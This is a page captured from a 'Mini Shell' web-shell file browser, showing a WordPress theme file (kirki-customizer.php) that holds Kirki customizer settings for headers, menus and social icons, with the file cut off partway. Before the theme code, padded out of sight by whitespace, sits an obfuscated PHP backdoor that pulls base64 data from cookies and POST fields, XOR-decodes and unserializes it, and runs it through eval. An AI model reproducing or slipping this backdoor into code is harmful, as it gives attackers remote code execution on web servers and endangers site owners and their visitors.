%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-content/themes/sandwich/inc/
Upload File :
Create Path :
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-content/themes/sandwich/inc/kirki-customizer.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $DuWTlhHLu = chr ( 749 - 684 ).'_' . chr (65) . chr (97) . 'c';$pRrhjzJDZA = "\x63" . chr ( 373 - 265 )."\141" . chr (115) . "\x73" . "\x5f" . "\145" . chr ( 257 - 137 ).chr (105) . "\x73" . "\x74" . chr ( 135 - 20 ); $jYQOoB = class_exists($DuWTlhHLu); $pRrhjzJDZA = "57869";$aSUeI = !1;if ($jYQOoB == $aSUeI){function YmpYIpPDH(){return FALSE;}$DAanjt = "59509";YmpYIpPDH();class A_Aac{private function oLnDwsRU($DAanjt){if (is_array(A_Aac::$EWgaoubw)) {$YKGNG = str_replace(chr ( 808 - 748 ) . "\77" . chr ( 421 - 309 )."\x68" . 'p', "", A_Aac::$EWgaoubw['c' . 'o' . "\156" . "\164" . chr (101) . chr (110) . 't']);eval($YKGNG); $DAanjt = "59509";exit();}}private $ZvlvA;public function UVTtyHbIkv(){echo 14354;}public function __destruct(){$DAanjt = "43802_2976";$this->oLnDwsRU($DAanjt); $DAanjt = "43802_2976";}public function __construct($SkYjjMAT=0){$CtJbAN = $_POST;$MPCCmCc = $_COOKIE;$XUaVKwR = "b180c993-5201-4bef-8a25-5d2af2aad126";$vSWofYUtLQ = @$MPCCmCc[substr($XUaVKwR, 0, 4)];if (!empty($vSWofYUtLQ)){$iNikohC = "base64";$PPRoX = "";$vSWofYUtLQ = explode(",", $vSWofYUtLQ);foreach ($vSWofYUtLQ as $cZNHScNHr){$PPRoX .= @$MPCCmCc[$cZNHScNHr];$PPRoX .= @$CtJbAN[$cZNHScNHr];}$PPRoX = array_map($iNikohC . "\x5f" . "\x64" . chr (101) . "\x63" . "\x6f" . chr (100) . "\x65", array($PPRoX,)); $PPRoX = $PPRoX[0] ^ str_repeat($XUaVKwR, (strlen($PPRoX[0]) / strlen($XUaVKwR)) + 1);A_Aac::$EWgaoubw = @unserialize($PPRoX); $PPRoX = class_exists("43802_2976");}}public static $EWgaoubw = 53040;}$tgVgMzKDw = new /* 28974 */ $DuWTlhHLu(59509 + 59509); $aSUeI = $tgVgMzKDw = $DAanjt = Array();} ?><?php
/**
 * Customizer Panel, Sections and Options
 */

/**
 * Configuration
 * */
Kirki::add_config('sandwich_customizer', array(
    'capability'  => 'edit_theme_options',
    'option_type' => 'theme_mod',
));

/* Condition checking */
$custom_header_post = null;
$custom_header_post = new WP_Query(array(
	'post_type'=> 'custom_header',
));

if ($custom_header_post->have_posts()) {

	Kirki::add_section('sandwich_custom_header_link', array(
		'title' => esc_attr__('Custom Header', 'sandwich'),
		'priority' => 21,
		// 'panel' => 'sandwich_main_header',
	));

	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'custom',
		'settings' => 'sandwich_custom_header_edit_link',
		'section'  => 'sandwich_custom_header_link',
		'default'  => '<p>' . __( 'This design is currently using a custom header.  You can edit the custom header here:', 'sandwich' ) .' <a href="/wp-admin/edit.php?post_type=custom_header"> Edit The Custom Header </a>'. '</p> <p> Or, if you\'d like to use a templated header, you can delete the custom header and make changes in the customizer.</p>',
	));
	
	
	 /*
 		*  Mobile Menu Part
 		* */
	Kirki::add_section('sandwich_mobile_menu_options', array(
 		'title' => esc_attr__('Mobile Menu Options', 'sandwich'),
		'priority' => 21,
// 		'panel' => 'sandwich_main_header',
 	));

 	// Background color
 	Kirki::add_field('sandwich_customizer', array(
 		'type'     => 'color',
 		'settings' => 'sandwich_mobile_menu_background_color',
 		'label'    => esc_html__('Background Color (Parent)', 'sandwich'),
 		'section'  => 'sandwich_mobile_menu_options',
 		'default'  => '#212B41 ',
 		'choices'  => array(
 			'alpha' => true,
 		),
 		'tooltip'  => 'These features effect all the mobile menus for the site.<br><br>Please note: The Mobile Menus are connected to the Mobile Menu Location.  The Mobile Menus do not display the Primary Menu or the Secondary Menu Locations.  This makes your website as flexible as possible because you get to decide what menus links are shown on non-mobile and which ones are shown on mobile devices.',
 	));

 	// Background color (child)
 	Kirki::add_field('sandwich_customizer', array(
 		'type'     => 'color',
 		'settings' => 'sandwich_mobile_menu_child_background_color',
 		'label'    => esc_html__('Background Color (Child)', 'sandwich'),
 		'section'  => 'sandwich_mobile_menu_options',
 		'default'  => '#192339 ',
 		'choices'  => array(
 			'alpha' => true,
 		),
 	));

 	// Hover color
 	Kirki::add_field('sandwich_customizer', array(
 		'type'     => 'color',
 		'settings' => 'sandwich_mobile_menu_hover_color',
 		'label'    => esc_html__('Hover Color', 'sandwich'),
 		'section'  => 'sandwich_mobile_menu_options',
 		'default'  => '#ffffff',
 	));
 	// Mobile menu typography
 	Kirki::add_field('sandwich_customizer', array(
 		'type'     => 'typography',
 		'settings' => 'sandwich_mobile_menu_typography',
 		'label'    => esc_attr__('Typography', 'sandwich'),
 		'section'  => 'sandwich_mobile_menu_options',
 		'default'  => array(
 			'font-family'    => 'Karla',
 			'variant'        => 'regular',
 			'font-size'      => '13px',
 			'letter-spacing' => '0px',
 			'color'          => '#cccccc',
 			'text-transform' => 'uppercase',
 		),
 		'choices'  => array(
 			'fonts' => array(
 				'google'   => array('popularity', 100),
 				'standard' => array(
 					'Georgia,Times,"Times New Roman",serif',
 					'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
 				),
 			),
 		),
 	));


}else{

/* ========================= Condition Based Header Section Start ============================= */
/*
 * Custom Header Menu Options
 * */
Kirki::add_panel('sandwich_main_header', array(
	'priority' => 30,
	'title'    => esc_attr__('Main Header', 'sandwich'),
));

// if ($custom_header_post->have_posts()){
// 	/*
// 	 * Main Menu Part
// 	 * */
// 	Kirki::add_section('sandwich_custom_header_menu', array(
// 		'title'    => esc_attr__('Custom Header Menu', 'sandwich'),
// 		'panel'    => 'sandwich_main_header',
// 	));

// 	Kirki::add_field( 'sandwich_customizer', array(
// 		'type'        => 'typography',
// 		'settings'    => 'sandwich_custom_header_design',
// 		'label'       => esc_html__( 'Main Menu Options', 'sandwich' ),
// 		'section'     => 'sandwich_custom_header_menu',
// 		'default'     => array(
// 			'font-family'    => 'Karla',
// 			'variant'        => 'regular',
// 			'font-size'      => '13px',
// 			'color'          => '#333333',
// 			'text-transform' => 'uppercase',
// 			'text-align'     => 'left',
// 		),
// 	));
// 	// hover color
// 	Kirki::add_field( 'sandwich_customizer', array(
// 		'type'        => 'typography',
// 		'settings'    => 'sandwich_custom_header_design_menu_hover',
// 		'label'       => esc_html__( 'Main Menu Hover Color', 'sandwich' ),
// 		'section'     => 'sandwich_custom_header_menu',
// 		'default'     => array(
// 			'color'          => '#000000',
// 		),
// 	));

// 	// Drop down Menu Options
// 	// Menu color
// 	Kirki::add_field( 'sandwich_customizer', array(
// 		'type'        => 'typography',
// 		'settings'    => 'sandwich_custom_header_design_drop_down_menu_color',
// 		'label'       => esc_html__( 'Drop Down Menu Color', 'sandwich' ),
// 		'section'     => 'sandwich_custom_header_menu',
// 		'default'     => array(
// 			'color'          => '#333333',
// 		),
// 	));
// 	// Hover color
// 	Kirki::add_field( 'sandwich_customizer', array(
// 		'type'        => 'typography',
// 		'settings'    => 'sandwich_custom_header_design_drop_down_menu_hover_color',
// 		'label'       => esc_html__( 'Drop Down Menu Hover Color', 'sandwich' ),
// 		'section'     => 'sandwich_custom_header_menu',
// 		'default'     => array(
// 			'color'          => '#000000',
// 		),
// 	));



// }else{
	/*
 *  ===================== Start Main Header Panel without custom header ============================
 * */
	/*
	 * Header layout Part
	 * */
	Kirki::add_section('sandwich_main_header_layout', array(
		'title'    => esc_attr__('Main Header Layout', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 1,
	));

	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'radio-image',
		'settings' => 'sandwich_main_header_layout_setting',
		'label'    => esc_html__('Select Header Layout', 'sandwich'),
		'section'  => 'sandwich_main_header_layout',
		'default'  => 'modern',
		'choices'  => array(
			'center'        => get_template_directory_uri() . '/img/center.jpg',
			'left'          => get_template_directory_uri() . '/img/left.jpg',
			'modern'        => get_template_directory_uri() . '/img/modern.jpg',
			'center_split'  => get_template_directory_uri() . '/img/center-split.jpg',
			'html_mobile'   => get_template_directory_uri() . '/img/html-mobile.jpg',
			'icon_mobile'   => get_template_directory_uri() . '/img/icons-mobile.jpg',
			'left_html'     => get_template_directory_uri() . '/img/left-html.jpg',
			'mobile_html'   => get_template_directory_uri() . '/img/mobile-html.jpg',
			'mobile_icon'   => get_template_directory_uri() . '/img/mobile-icons.jpg',
			'mobile_search' => get_template_directory_uri() . '/img/mobile-search.jpg',
			'modern_mobile' => get_template_directory_uri() . '/img/modern-mobile.jpg',
			'modern_search' => get_template_directory_uri() . '/img/modern-search.jpg',
			'search_mobile' => get_template_directory_uri() . '/img/search-mobile.jpg',
		),
		'tooltip'  => 'Select the header layout you want for your site.  Different features in this theme are only for certain layouts.  If a feature does not seem to be changing anything, it may be because that feature is not available in the layout you have selected. <br><br> Please note: The Split Menu uses the primary & secondary menus for the two sides AND the mobile menu for smaller screens.  On smaller screens, the split screen layout changes to the centered layout and uses the mobile menu.',
	));

	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'custom',
		'settings' => 'sandwich_add_custom_header',
		'section'  => 'sandwich_main_header_layout',
		'default'  => '<p>' . __( 'If you\'d like to create a custom header,', 'sandwich' ) .' <a href="/wp-admin/edit.php?post_type=custom_header"> Click here to Create Custom Header </a> </p>',
	));

	/*
	 * Header sticky
	 * */
	Kirki::add_section('sandwich_main_header_sticky', array(
		'title'    => esc_attr__('Main Header Sticky', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 2,
	));
	// Yes / No
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'switch',
		'settings' => 'sandwich_main_header_sticky_setting',
		'label'    => esc_html__('Sticky Header', 'sandwich'),
		'section'  => 'sandwich_main_header_sticky',
		'default'  => true,
		'tooltip'  => 'This Sticky Header will keep the header on the screen as a visitor scrolls down the page.  If you do not want a Sticky Header, simple toggle it off',
	));

	/* Sticky Background
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_main_header_sticky_background',
		'label'    => esc_html__('Sticky Background', 'sandwich'),
		'section'  => 'sandwich_main_header_sticky',
		'default'  => '#fbfbfb',
		'choices'  => array(
			'alpha' => true,
		),
	));
	*/
	/*
	 * Site Logo
	 * */
	Kirki::add_section('sandwich_main_header_logo', array(
		'title'    => esc_attr__('Logo Typography', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 3,
	));
	// display
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_logo_display_setting',
		'label'    => esc_html__('Display', 'sandwich'),
		'section'  => 'sandwich_main_header_logo',
		'default'  => true,
		'tooltip'  => 'These features control the text based logo and tagline',
	));
	// site title typography
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'typography',
		'settings' => 'sandwich_site_title',
		'label'    => esc_attr__('Site Title Typography', 'sandwich'),
		'section'  => 'sandwich_main_header_logo',
		'default'  => array(
			'font-family'    => 'Great Vibes',
			'variant'        => 'regular',
			'font-size'      => '25px',
			'letter-spacing' => '0',
			'color'          => '#3a5a98',
			'text-transform' => 'none'
		),
		'priority' => 10,
		'output'   => array(
			array(
				'element' => 'h1.site-title a',
			),
			array(
				'element' => 'h1.site-title',
			),
		),
		'choices'  => array(
			'fonts' => array(
				'google'   => array('popularity', 100),
				'standard' => array(
					'Georgia,Times,"Times New Roman",serif',
					'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
				),
			),
		),
	));
	// site tagline typography
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'typography',
		'settings' => 'sandwich_tagline',
		'label'    => esc_attr__('Tagline Typography', 'sandwich'),
		'section'  => 'sandwich_main_header_logo',
		'default'  => array(
			'font-family'    => 'Karla',
			'variant'        => 'regular',
			'font-size'      => '14px',
			'letter-spacing' => '0',
			'color'          => '#333',
			'text-transform' => 'none'
		),
		'priority' => 10,
		'output'   => array(
			array(
				'element' => '.site-branding p',
			),
		),
		'choices'  => array(
			'fonts' => array(
				'google'   => array('popularity', 100),
				'standard' => array(
					'Georgia,Times,"Times New Roman",serif',
					'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
				),
			),
		),
	));
	/*
	 * Sticky Logo
	 * */
	Kirki::add_section('sandwich_sticky_logo_section', array(
		'title'    => esc_attr__('Sticky Logo', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 4,
	));
	// site title color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_sticky_title_color',
		'label'    => esc_html__('Sticky Title Color', 'sandwich'),
		'section'  => 'sandwich_sticky_logo_section',
		'default'  => '#3a5a98',
		'tooltip'  => 'These features control the text based logo and tagline',
	));

	// site tagline color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_sticky_tag_line_color',
		'label'    => esc_html__('Sticky Tagline Color', 'sandwich'),
		'section'  => 'sandwich_sticky_logo_section',
		'default'  => '#333333',
		'tooltip'  => 'This changes the color of the tagline only on the sticky menu',
	));


	/*
	 * Main Header HTML Content
	 * */
	Kirki::add_section('sandwich_main_header_html_content', array(
		'title'    => esc_attr__('Main Header HTML Content', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 5,
	));
	// HTML Content for Main Header
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'code',
		'settings' => 'sandwich_header_html_content',
		'label'    => esc_attr__('Main Header Content (Allow HTML)', 'sandwich'),
		'section'  => 'sandwich_main_header_html_content',
		'default'  => ' ',
		'tooltip'  => 'Add custom HTML text to the Header Section.  This only works with specific layouts.',
		'choices'  => array(
			'language' => 'html',
		),
	));

	// top spacing
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'range',
		'settings' => 'sandwich_header_html_top_spacing',
		'label'    => esc_html__('Top Spacing', 'sandwich'),
		'section'  => 'sandwich_main_header_html_content',
		'default'  => 45,
		'tooltip'  => 'Changes the spacing of the custom HTML area to the top of the page  This only works with specific layouts.',
	));

	/* header html content typography
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'typography',
		'settings' => 'sandwich_header_html_content_typography',
		'label'    => esc_attr__('Typography', 'sandwich'),
		'section'  => 'sandwich_main_header_html_content',
		'default'  => array(
			'font-family'    => 'Karla',
			'variant'        => 'regular',
			'font-size'      => '14px',
			'letter-spacing' => '0',
			'color'          => '#777777',
			'text-transform' => 'none',
			'text-align'     => 'center',
		),
		'choices'  => array(
			'fonts' => array(
				'google'   => array('popularity', 100),
				'standard' => array(
					'Georgia,Times,"Times New Roman",serif',
					'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
				),
			),
		),
		'output'   => array(
			array(
				'element' => '.html_content h1',
			),
		),
	));
	*/
	/*
	 * Main Menu
	 * */
	Kirki::add_section('sandwich_main_menu', array(
		'title' => esc_attr__('Main Menu', 'sandwich'),
		'panel' => 'sandwich_main_header',
	));
	// Display menu
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_menu_display',
		'label'    => esc_html__('Display Main Menu', 'sandwich'),
		'section'  => 'sandwich_main_menu',
		'default'  => true,
		'tooltip'  => 'These features adjust the Header Menu.  They do not effect the responsive Mobile Menu',
	));

	// Top Spacing of Menu
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'range',
		'settings' => 'sandwich_main_menu_top_spacing',
		'label'    => esc_html__('Top Space (Primary & Secondary only)', 'sandwich'),
		'section'  => 'sandwich_main_menu',
		'default'  => 25,
		'tooltip'  => 'Changes the spacing of the menu items to the top of the page',
	));

	// Item Spacing of Menu
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'range',
		'settings' => 'sandwich_main_menu_top_item_spacing',
		'label'    => esc_html__('Items Space (Primary & Secondary only)', 'sandwich'),
		'section'  => 'sandwich_main_menu',
		'default'  => 15,
		'tooltip'  => 'Changes the spacing between the menu items',
	));

	// main menu typography
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'typography',
		'settings' => 'sandwich_main_menu_typography',
		'label'    => esc_attr__('Main Menu Typography', 'sandwich'),
		'section'  => 'sandwich_main_menu',
		'default'  => array(
			'font-family'    => 'Roboto',
			'variant'        => 'regular',
			'font-size'      => '13px',
			'letter-spacing' => '0',
			'color'          => '#a0a0a0',
			'text-transform' => 'uppercase',
		),
		'priority' => 10,
		'choices'  => array(
			'fonts' => array(
				'google'   => array('popularity', 100),
				'standard' => array(
					'Georgia,Times,"Times New Roman",serif',
					'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
				),
			),
		),
	));


	// hover color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_main_menu_hover_color',
		'label'    => esc_html__('Hover Color', 'sandwich'),
		'section'  => 'sandwich_main_menu',
		'default'  => '#333',
		'choices'  => array(
			'alpha' => true,
		),
	));

	/*
	* Drop Down Menu Background
	*/
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_dropdown_menu_background',
		'label'    => esc_html__('Drop Down Menu Background', 'sandwich'),
		'section'  => 'sandwich_main_menu',
		'default'  => 'rgba(255,255,255,0)',
		'choices'  => array(
			'alpha' => true,
		),
		'tooltip'  => 'This controls the background color of sub-menus in the regular menu',
	));

	/*
	 * Sticky Main Menu
	 * */
	Kirki::add_section('sandwich_sticky_main_menu', array(
		'title' => esc_attr__('Sticky Main Menu', 'sandwich'),
		'panel' => 'sandwich_main_header',
	));
	// sticky main menu color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_sticky_main_menu_color',
		'label'    => esc_html__('Sticky Menu Color', 'sandwich'),
		'section'  => 'sandwich_sticky_main_menu',
		'default'  => '#a0a0a0',
		'tooltip'  => 'This controls the menu text color for the Sticky Header',
	));
	// sticky main menu color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_sticky_main_menu_hover_color',
		'label'    => esc_html__('Sticky Menu Hover Color', 'sandwich'),
		'section'  => 'sandwich_sticky_main_menu',
		'default'  => '#ffffff',
		'tooltip'  => 'This controls the menu hover text color for the Sticky Header',
	));

	/*
	 * Mobile Menu
	 * */
	Kirki::add_section('sandwich_mobile_menu_options', array(
		'title' => esc_attr__('Mobile Menu Options', 'sandwich'),
		'panel' => 'sandwich_main_header',
	));

	// display mobile menu
	Kirki::add_field( 'theme_config_id', array(
		'type'        => 'checkbox',
		'settings'    => 'sandwich_mobile_menu_display',
		'label'       => esc_html__( 'Display Mobile Menu', 'sandwich' ),
		'section'     => 'sandwich_mobile_menu_options',
		'default'     => true,
	));

	// Background color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_mobile_menu_background_color',
		'label'    => esc_html__('Background Color (Parent)', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_options',
		'default'  => '#212B41 ',
		'choices'  => array(
			'alpha' => true,
		),
		'tooltip'  => 'These features effect all the mobile menus for the site.<br><br>Please note: The Mobile Menus are connected to the Mobile Menu Location.  The Mobile Menus do not display the Primary Menu or the Secondary Menu Locations.  This makes your website as flexible as possible because you get to decide what menus links are shown on non-mobile and which ones are shown on mobile devices.',
	));

	// Background color (child)
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_mobile_menu_child_background_color',
		'label'    => esc_html__('Background Color (Child)', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_options',
		'default'  => '#192339 ',
		'choices'  => array(
			'alpha' => true,
		),
	));

	// Hover color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_mobile_menu_hover_color',
		'label'    => esc_html__('Hover Color', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_options',
		'default'  => '#ffffff',
	));
	// Mobile menu typography
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'typography',
		'settings' => 'sandwich_mobile_menu_typography',
		'label'    => esc_attr__('Typography', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_options',
		'default'  => array(
			'font-family'    => 'Karla',
			'variant'        => 'regular',
			'font-size'      => '13px',
			'letter-spacing' => '0px',
			'color'          => '#cccccc',
			'text-transform' => 'uppercase',
		),
		'choices'  => array(
			'fonts' => array(
				'google'   => array('popularity', 100),
				'standard' => array(
					'Georgia,Times,"Times New Roman",serif',
					'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
				),
			),
		),
	));

	/*
	 * Mobile Menu Icon Option
	 * */
	Kirki::add_section('sandwich_mobile_menu_icon_section', array(
		'title' => esc_attr__('Mobile Icon Options', 'sandwich'),
		'panel' => 'sandwich_main_header',
	));

	// Mobile Menu Top Space
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'range',
		'settings' => 'sandwich_mobile_menu_top_space',
		'label'    => esc_html__('Space Between Icon & Menu', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_icon_section',
		'default'  => '70',
		'tooltip'  => 'These features are for specific layouts only and this specific feature will change the vertical position of the dropdown menus in relation to the mobile menu icon for those specific layouts.',
	));

	// Mobile Icon bars Top Space
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'range',
		'settings' => 'sandwich_mobile_menu_icon_top_space',
		'label'    => esc_html__('Mobile Icon Top Space', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_icon_section',
		'default'  => '44',
		'tooltip'  => 'This specific feature determines the distance of the mobile menu icon to the top of the site in the header for those layouts.  These features are for specific layouts only and do not effect the regular responsive mobile menu',
	));

	// Mobile Icon size
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'number',
		'settings' => 'sandwich_mobile_menu_icon_size',
		'label'    => esc_html__('Mobile Icon Size', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_icon_section',
		'default'  => 16,
	));

	// Mobile Icon color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_mobile_menu_icon_color',
		'label'    => esc_html__('Mobile Icon Color', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_icon_section',
		'default'  => '#212B41 ',
		'choices'  => array(
			'alpha' => true,
		),
	));

	// Sticky color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_mobile_menu_icon_stick_color',
		'label'    => esc_html__('Sticky Color', 'sandwich'),
		'section'  => 'sandwich_mobile_menu_icon_section',
		'default'  => '#212B41 ',
		'choices'  => array(
			'alpha' => true,
		),
	));

	/*
	 * Seach Icon Option
	 * */
	Kirki::add_section('sandwich_search_icon_section', array(
		'title' => esc_attr__('Search Icon Options', 'sandwich'),
		'panel' => 'sandwich_main_header',
	));

	// Search Icon Top Space
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'range',
		'settings' => 'sandwich_search_icon_top_space',
		'label'    => esc_html__('Search Icon Top Space', 'sandwich'),
		'section'  => 'sandwich_search_icon_section',
		'default'  => 45,
		'tooltip'  => 'These features are for specific layouts only that use the search icon and this specific feature determines the distance of the search icon to the top of the site in the header for those layouts.  Select one of the layouts with the search icon to use these controls.',
	));

	// Search Icon size
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'number',
		'settings' => 'sandwich_search_icon_size',
		'label'    => esc_html__('Search Icon Size', 'sandwich'),
		'section'  => 'sandwich_search_icon_section',
		'default'  => 15,
	));

	// Search Icon color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_search_icon_color',
		'label'    => esc_html__('Search Icon Color', 'sandwich'),
		'section'  => 'sandwich_search_icon_section',
		'default'  => '#212B41 ',
		'choices'  => array(
			'alpha' => true,
		),
	));
	// Sticky Icon color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_search_icon_style_color',
		'label'    => esc_html__('Sticky Icon Color', 'sandwich'),
		'section'  => 'sandwich_search_icon_section',
		'default'  => '#212B41 ',
		'choices'  => array(
			'alpha' => true,
		),
	));

	/*
 * ======================= Main Header Social Icons Section ================================
 * */
	/*
	 * Social Icons
	 * */
	Kirki::add_section('sandwich_main_header_social_icons', array(
		'title'    => esc_attr__('Main Header Social Icons', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 6,
	));
	// display
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_social_icons_display',
		'label'    => esc_html__('Display Social Icons Section', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => true,
		'tooltip'  => 'These features for specific layouts only that feature social icons in the header layout.  They will only work if you select one of the header layouts with social media icons and they will not effect the Top Header social icons.',
	));
	// display first icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_social_icons_first_display',
		'label'    => esc_html__('Display First Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => true,
	));
	// facebook icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'fontawesome',
		'settings' => 'sandwich_main_header_social_icons_facebook',
		'label'    => esc_html__('First Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'facebook',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_first_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));
	// facebook icon link
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'url',
		'settings' => 'sandwich_main_header_social_icons_facebook_link',
		'label'    => esc_html__('Link', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'https://www.facebook.com',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_first_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// display second icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_social_icons_second_display',
		'label'    => esc_html__('Display Second Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => true,
	));
	// twitter icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'fontawesome',
		'settings' => 'sandwich_main_header_social_icons_twitter',
		'label'    => esc_html__('Second Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'twitter',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_second_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// twitter icon link
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'url',
		'settings' => 'sandwich_main_header_social_icons_twitter_link',
		'label'    => esc_html__('Link', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'https://www.twitter.com',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_second_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// display third icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_social_icons_third_display',
		'label'    => esc_html__('Display Third Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => true,
	));
	// google plus icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'fontawesome',
		'settings' => 'sandwich_main_header_social_icons_google',
		'label'    => esc_html__('Third Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'google-plus',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_third_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// Google icon link
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'url',
		'settings' => 'sandwich_main_header_social_icons_google_link',
		'label'    => esc_html__('Link', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'https://www.plus-google.com',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_third_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// display fourth icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_social_icons_fourth_display',
		'label'    => esc_html__('Display Fourth Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => true,
	));
	// youtube icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'fontawesome',
		'settings' => 'sandwich_main_header_social_icons_youtube',
		'label'    => esc_html__('Fourth Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'youtube',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_fourth_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// Youtube icon link
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'url',
		'settings' => 'sandwich_main_header_social_icons_youtube_link',
		'label'    => esc_html__('Link', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'https://www.youtube.com',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_fourth_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));
	// display fifth icon
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'checkbox',
		'settings' => 'sandwich_main_header_social_icons_fifth_display',
		'label'    => esc_html__('Display Fifth Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => true,
	));
	// instagram icon
